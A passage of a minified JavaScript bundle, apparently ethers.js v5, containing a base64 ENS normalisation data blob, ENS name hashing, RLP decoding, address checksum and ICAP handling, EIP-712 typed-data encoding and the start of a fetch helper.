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\")),up=new Set(sp(gp)),lp=new Set(sp(gp)),fp=function(t){let e=[];for(;;){let r=t();if(0==r)break;e.push(cp(r,t))}for(;;){let r=t()-1;if(r<0)break;e.push(hp(r,t))}return function(t){const e={};for(let r=0;rt-e));return function r(){let n=[];for(;;){let A=sp(t,e);if(0==A.length)break;n.push({set:new Set(A),node:r()})}n.sort(((t,e)=>e.set.size-t.set.size));let A=t(),i=A%3;A=A/3|0;let o=!!(1&A);return A>>=1,{branches:n,valid:i,fe0f:o,save:1==A,check:2==A}}()}(gp),dp=45,Ip=95;function yp(t){return function(t,e=Kf.current){return Wf(Zf(t,e))}(t)}function Cp(t){return t.filter((t=>65039!=t))}function mp(t){for(let e of t.split(\".\")){let t=yp(e);try{for(let e=t.lastIndexOf(Ip)-1;e>=0;e--)if(t[e]!==Ip)throw new Error(\"underscore only allowed at start\");if(t.length>=4&&t.every((t=>t<128))&&t[2]===dp&&t[3]===dp)throw new Error(\"invalid label extension\")}catch(t){throw new Error(`Invalid label \"${e}\": ${t.message}`)}}return t}function Bp(t){return mp(function(t,e){let r=yp(t).reverse(),n=[];for(;r.length;){let t=Ep(r);if(t){n.push(...e(t));continue}let A=r.pop();if(up.has(A)){n.push(A);continue}if(lp.has(A))continue;let i=fp[A];if(!i)throw new Error(`Disallowed codepoint: 0x${A.toString(16).toUpperCase()}`);n.push(...i)}return mp((A=String.fromCodePoint(...n),A.normalize(\"NFC\")));var A}(t,Cp))}function Ep(t,e){var r;let n,A,i=pp,o=[],s=t.length;for(e&&(e.length=0);s;){let a=t[--s];if(i=null===(r=i.branches.find((t=>t.set.has(a))))||void 0===r?void 0:r.node,!i)break;if(i.save)A=a;else if(i.check&&a===A)break;o.push(a),i.fe0f&&(o.push(65039),s>0&&65039==t[s-1]&&s--),i.valid&&(n=o.slice(),2==i.valid&&n.splice(1,1),e&&e.push(...t.slice(s).reverse()),t.length=s)}return n}var wp=new Gl(ep),vp=new Uint8Array(32);function _p(t){if(0===t.length)throw new Error(\"invalid ENS name; empty component\");return t}function Qp(t){const e=Zf(Bp(t)),r=[];if(0===t.length)return r;let n=0;for(let t=0;t=e.length)throw new Error(\"invalid ENS name; empty component\");return r.push(_p(e.slice(n))),r}function bp(t){\"string\"!=typeof t&&wp.throwArgumentError(\"invalid ENS name; not a string\",\"name\",t);let e=vp;const r=Qp(t);for(;r.length;)e=Yf(zl([e,Yf(r.pop())]));return Wl(e)}vp.fill(0),Al(),il(),Al(),il(),Al(),il(),Al(),il();var kp=new Gl(\"rlp/5.7.0\");function Dp(t){const e=[];for(;t;)e.unshift(255&t),t>>=8;return e}function Sp(t,e,r){let n=0;for(let A=0;Ae+1+n&&kp.throwError(\"child data too short\",Gl.errors.BUFFER_OVERRUN,{})}return{consumed:1+n,result:A}}function Fp(t,e){if(0===t.length&&kp.throwError(\"data too short\",Gl.errors.BUFFER_OVERRUN,{}),t[e]>=248){const r=t[e]-247;e+1+r>t.length&&kp.throwError(\"data short segment too short\",Gl.errors.BUFFER_OVERRUN,{});const n=Sp(t,e+1,r);return e+1+r+n>t.length&&kp.throwError(\"data long segment too short\",Gl.errors.BUFFER_OVERRUN,{}),xp(t,e,e+1+r,r+n)}if(t[e]>=192){const r=t[e]-192;return e+1+r>t.length&&kp.throwError(\"data array too short\",Gl.errors.BUFFER_OVERRUN,{}),xp(t,e,e+1,r)}if(t[e]>=184){const r=t[e]-183;e+1+r>t.length&&kp.throwError(\"data array too short\",Gl.errors.BUFFER_OVERRUN,{});const n=Sp(t,e+1,r);e+1+r+n>t.length&&kp.throwError(\"data array too short\",Gl.errors.BUFFER_OVERRUN,{});return{consumed:1+r+n,result:Wl(t.slice(e+1+r,e+1+r+n))}}if(t[e]>=128){const r=t[e]-128;e+1+r>t.length&&kp.throwError(\"data too short\",Gl.errors.BUFFER_OVERRUN,{});return{consumed:1+r,result:Wl(t.slice(e+1,e+1+r))}}return{consumed:1,result:Wl(t[e])}}function Pp(t){const e=jl(t),r=Fp(e,0);return r.consumed!==e.length&&kp.throwArgumentError(\"invalid rlp data\",\"data\",t),r.result}Al(),il();var Tp=new Gl(\"address/5.7.0\");function Rp(t){Xl(t,20)||Tp.throwArgumentError(\"invalid address\",\"address\",t);const e=(t=t.toLowerCase()).substring(2).split(\"\"),r=new Uint8Array(40);for(let t=0;t<40;t++)r[t]=e[t].charCodeAt(0);const n=jl(Yf(r));for(let t=0;t<40;t+=2)n[t>>1]>>4>=8&&(e[t]=e[t].toUpperCase()),(15&n[t>>1])>=8&&(e[t+1]=e[t+1].toUpperCase());return\"0x\"+e.join(\"\")}var Up={};for(let t=0;t<10;t++)Up[String(t)]=String(t);for(let t=0;t<26;t++)Up[String.fromCharCode(65+t)]=String(10+t);var Gp=Math.floor(function(t){return Math.log10?Math.log10(t):Math.log(t)/Math.LN10}(9007199254740991));function Hp(t){let e=null;if(\"string\"!=typeof t&&Tp.throwArgumentError(\"invalid address\",\"address\",t),t.match(/^(0x)?[0-9a-fA-F]{40}$/))\"0x\"!==t.substring(0,2)&&(t=\"0x\"+t),e=Rp(t),t.match(/([A-F].*[a-f])|([a-f].*[A-F])/)&&e!==t&&Tp.throwArgumentError(\"bad address checksum\",\"address\",t);else if(t.match(/^XE[0-9]{2}[0-9A-Za-z]{30,31}$/)){for(t.substring(2,4)!==function(t){let e=(t=(t=t.toUpperCase()).substring(4)+t.substring(0,2)+\"00\").split(\"\").map((t=>Up[t])).join(\"\");for(;e.length>=Gp;){let t=e.substring(0,Gp);e=parseInt(t,10)%97+e.substring(t.length)}let r=String(98-parseInt(e,10)%97);for(;r.length<2;)r=\"0\"+r;return r}(t)&&Tp.throwArgumentError(\"bad icap checksum\",\"address\",t),r=t.substring(4),e=new Af(r,36).toString(16);e.length<40;)e=\"0\"+e;e=Rp(\"0x\"+e)}else Tp.throwArgumentError(\"invalid address\",\"address\",t);var r;return e}var Lp=function(t,e,r,n){return new(r||(r=Promise))((function(A,i){function o(t){try{a(n.next(t))}catch(t){i(t)}}function s(t){try{a(n.throw(t))}catch(t){i(t)}}function a(t){var e;t.done?A(t.value):(e=t.value,e instanceof r?e:new r((function(t){t(e)}))).then(o,s)}a((n=n.apply(t,e||[])).next())}))},Op=new Gl(ep),Yp=new Uint8Array(32);Yp.fill(0);var Kp=hf.from(-1),Jp=hf.from(0),jp=hf.from(1),zp=hf.from(\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\");var qp=rf(jp.toHexString(),32),Xp=rf(Jp.toHexString(),32),Vp={name:\"string\",version:\"string\",chainId:\"uint256\",verifyingContract:\"address\",salt:\"bytes32\"},Wp=[\"name\",\"version\",\"chainId\",\"verifyingContract\",\"salt\"];function Zp(t){return function(e){return\"string\"!=typeof e&&Op.throwArgumentError(`invalid domain value for ${JSON.stringify(t)}`,`domain.${t}`,e),e}}var $p={name:Zp(\"name\"),version:Zp(\"version\"),chainId:function(t){try{return hf.from(t).toString()}catch(t){}return Op.throwArgumentError('invalid domain value for \"chainId\"',\"domain.chainId\",t)},verifyingContract:function(t){try{return Hp(t).toLowerCase()}catch(t){}return Op.throwArgumentError('invalid domain value \"verifyingContract\"',\"domain.verifyingContract\",t)},salt:function(t){try{const e=jl(t);if(32!==e.length)throw new Error(\"bad length\");return Wl(e)}catch(t){}return Op.throwArgumentError('invalid domain value \"salt\"',\"domain.salt\",t)}};function td(t){{const e=t.match(/^(u?)int(\\d*)$/);if(e){const r=\"\"===e[1],n=parseInt(e[2]||\"256\");(n%8!=0||n>256||e[2]&&e[2]!==String(n))&&Op.throwArgumentError(\"invalid numeric width\",\"type\",t);const A=zp.mask(r?n-1:n),i=r?A.add(jp).mul(Kp):Jp;return function(e){const r=hf.from(e);return(r.lt(i)||r.gt(A))&&Op.throwArgumentError(`value out-of-bounds for ${t}`,\"value\",e),rf(r.toTwos(256).toHexString(),32)}}}{const e=t.match(/^bytes(\\d+)$/);if(e){const r=parseInt(e[1]);return(0===r||r>32||e[1]!==String(r))&&Op.throwArgumentError(\"invalid bytes width\",\"type\",t),function(e){return jl(e).length!==r&&Op.throwArgumentError(`invalid length for ${t}`,\"value\",e),function(t){const e=jl(t),r=e.length%32;return r?tf([e,Yp.slice(r)]):Wl(e)}(e)}}}switch(t){case\"address\":return function(t){return rf(Hp(t),32)};case\"bool\":return function(t){return t?qp:Xp};case\"bytes\":return function(t){return Yf(t)};case\"string\":return function(t){return tp(t)}}return null}function ed(t,e){return`${t}(${e.map((({name:t,type:e})=>e+\" \"+t)).join(\",\")})`}var rd=class t{constructor(t){If(this,\"types\",Object.freeze(vf(t))),If(this,\"_encoderCache\",{}),If(this,\"_types\",{});const e={},r={},n={};Object.keys(t).forEach((t=>{e[t]={},r[t]=[],n[t]={}}));for(const n in t){const A={};t[n].forEach((i=>{A[i.name]&&Op.throwArgumentError(`duplicate variable name ${JSON.stringify(i.name)} in ${JSON.stringify(n)}`,\"types\",t),A[i.name]=!0;const o=i.type.match(/^([^\\x5b]*)(\\x5b|$)/)[1];o===n&&Op.throwArgumentError(`circular type reference to ${JSON.stringify(o)}`,\"types\",t);td(o)||(r[o]||Op.throwArgumentError(`unknown type ${JSON.stringify(o)}`,\"types\",t),r[o].push(n),e[n][o]=!0)}))}const A=Object.keys(r).filter((t=>0===r[t].length));0===A.length?Op.throwArgumentError(\"missing primary type\",\"types\",t):A.length>1&&Op.throwArgumentError(`ambiguous primary types or unused types: ${A.map((t=>JSON.stringify(t))).join(\", \")}`,\"types\",t),If(this,\"primaryType\",A[0]),function A(i,o){o[i]&&Op.throwArgumentError(`circular type reference to ${JSON.stringify(i)}`,\"types\",t),o[i]=!0,Object.keys(e[i]).forEach((t=>{r[t]&&(A(t,o),Object.keys(o).forEach((e=>{n[e][t]=!0})))})),delete o[i]}(this.primaryType,{});for(const e in n){const r=Object.keys(n[e]);r.sort(),this._types[e]=ed(e,t[e])+r.map((e=>ed(e,t[e]))).join(\"\")}}getEncoder(t){let e=this._encoderCache[t];return e||(e=this._encoderCache[t]=this._getEncoder(t)),e}_getEncoder(t){{const e=td(t);if(e)return e}const e=t.match(/^(.*)(\\x5b(\\d*)\\x5d)$/);if(e){const t=e[1],r=this.getEncoder(t),n=parseInt(e[3]);return e=>{n>=0&&e.length!==n&&Op.throwArgumentError(\"array length mismatch; expected length ${ arrayLength }\",\"value\",e);let A=e.map(r);return this._types[t]&&(A=A.map(Yf)),Yf(tf(A))}}const r=this.types[t];if(r){const e=tp(this._types[t]);return t=>{const n=r.map((({name:e,type:r})=>{const n=this.getEncoder(r)(t[e]);return this._types[r]?Yf(n):n}));return n.unshift(e),tf(n)}}return Op.throwArgumentError(`unknown type: ${t}`,\"type\",t)}encodeType(t){const e=this._types[t];return e||Op.throwArgumentError(`unknown type: ${JSON.stringify(t)}`,\"name\",t),e}encodeData(t,e){return this.getEncoder(t)(e)}hashStruct(t,e){return Yf(this.encodeData(t,e))}encode(t){return this.encodeData(this.primaryType,t)}hash(t){return this.hashStruct(this.primaryType,t)}_visit(t,e,r){if(td(t))return r(t,e);const n=t.match(/^(.*)(\\x5b(\\d*)\\x5d)$/);if(n){const t=n[1],A=parseInt(n[3]);return A>=0&&e.length!==A&&Op.throwArgumentError(\"array length mismatch; expected length ${ arrayLength }\",\"value\",e),e.map((e=>this._visit(t,e,r)))}const A=this.types[t];return A?A.reduce(((t,{name:n,type:A})=>(t[n]=this._visit(A,e[n],r),t)),{}):Op.throwArgumentError(`unknown type: ${t}`,\"type\",t)}visit(t,e){return this._visit(this.primaryType,t,e)}static from(e){return new t(e)}static getPrimaryType(e){return t.from(e).primaryType}static hashStruct(e,r,n){return t.from(r).hashStruct(e,n)}static hashDomain(e){const r=[];for(const t in e){const n=Vp[t];n||Op.throwArgumentError(`invalid typed-data domain key: ${JSON.stringify(t)}`,\"domain\",e),r.push({name:t,type:n})}return r.sort(((t,e)=>Wp.indexOf(t.name)-Wp.indexOf(e.name))),t.hashStruct(\"EIP712Domain\",{EIP712Domain:r},e)}static encode(e,r,n){return tf([\"0x1901\",t.hashDomain(e),t.from(r).hash(n)])}static hash(e,r,n){return Yf(t.encode(e,r,n))}static resolveNames(e,r,n,A){return Lp(this,void 0,void 0,(function*(){e=mf(e);const i={};e.verifyingContract&&!Xl(e.verifyingContract,20)&&(i[e.verifyingContract]=\"0x\");const o=t.from(r);o.visit(n,((t,e)=>(\"address\"!==t||Xl(e,20)||(i[e]=\"0x\"),e)));for(const t in i)i[t]=yield A(t);return e.verifyingContract&&i[e.verifyingContract]&&(e.verifyingContract=i[e.verifyingContract]),n=o.visit(n,((t,e)=>\"address\"===t&&i[e]?i[e]:e)),{domain:e,value:n}}))}static getPayload(e,r,n){t.hashDomain(e);const A={},i=[];Wp.forEach((t=>{const r=e[t];null!=r&&(A[t]=$p[t](r),i.push({name:t,type:Vp[t]}))}));const o=t.from(r),s=mf(r);return s.EIP712Domain?Op.throwArgumentError(\"types must not contain EIP712Domain type\",\"types.EIP712Domain\",r):s.EIP712Domain=i,o.encode(n),{types:s,domain:A,primaryType:o.primaryType,message:o.visit(n,((t,e)=>{if(t.match(/^bytes(\\d*)/))return Wl(jl(e));if(t.match(/^u?int/))return hf.from(e).toString();switch(t){case\"address\":return e.toLowerCase();case\"bool\":return!!e;case\"string\":return\"string\"!=typeof e&&Op.throwArgumentError(\"invalid string\",\"value\",e),e}return Op.throwArgumentError(\"unsupported type\",\"type\",t)}))}}};Al(),il(),Al(),il();var nd=nl(El());function Ad(t){return\"0x\"+nd.default.sha256().update(jl(t)).digest(\"hex\")}Al(),il(),Al(),il(),Al(),il();Al(),il();var id=function(t,e,r,n){return new(r||(r=Promise))((function(A,i){function o(t){try{a(n.next(t))}catch(t){i(t)}}function s(t){try{a(n.throw(t))}catch(t){i(t)}}function a(t){var e;t.done?A(t.value):(e=t.value,e instanceof r?e:new r((function(t){t(e)}))).then(o,s)}a((n=n.apply(t,e||[])).next())}))};function od(t,e){return id(this,void 0,void 0,(function*(){null==e&&(e={});const r={method:e.method||\"GET\",headers:e.headers||{},body:e.body||void 0};if(!0!==e.skipFetchSetup&&(r.mode=\"cors\",r.cache=\"no-cache\",r.credentials=\"same-origin\",r.redirect=\"follow\",r.referrer=\"client\"),null!=e.fetchOptions){const t=e.fetchOptions;t.mode&&(r.mode=t.mode),t.cache&&(r.cache=t.cache),t.credentials&&(r.credentials=t.credentials),t.redirect&&(r.redirect=t.redirect),t.referrer&&(r.referrer=t.referrer)}const n=yield fetch(t,r),A=yield n.arrayBuffer(),i={};return n.headers.forEach?n.headers.forEach(((t,e)=>{i[e.toLowerCase()]=t})):n.headers.keys().forEach((t=>{i[t.toLowerCase()]=n.headers.get(t)})),{headers:i,statusCode:n.status,statusMessage:n.statusText,body:jl(new Uint8Array(A))}}))}var sd=function(t,e,r,n){return new(r||(r=Promise))((function(A,i){function o(t){try{a(n.next(t))}catch(t){i(t)}}function s(t){try{a(n.throw(t))}catch(t){i(t)}}function a(t){var e;t.done?A(t.value):(e=t.value,e instanceof r?e:new r((function(t){t(e)}))).then(o,s)}a((n=n.apply(t,e||[])).next())}))},ad=new Gl(\"web/5.7.1\");function cd(t){return new Promise((e=>{setTimeout(e,t)}))}function hd(t,e){if(null==t)return null;if(\"string\"==typeof t)return t;if(Yl(t)){if(e&&(\"text\"===e.split(\"/\")[0]||\"application/json\"===e.split(\";\")[0].trim()))try{return 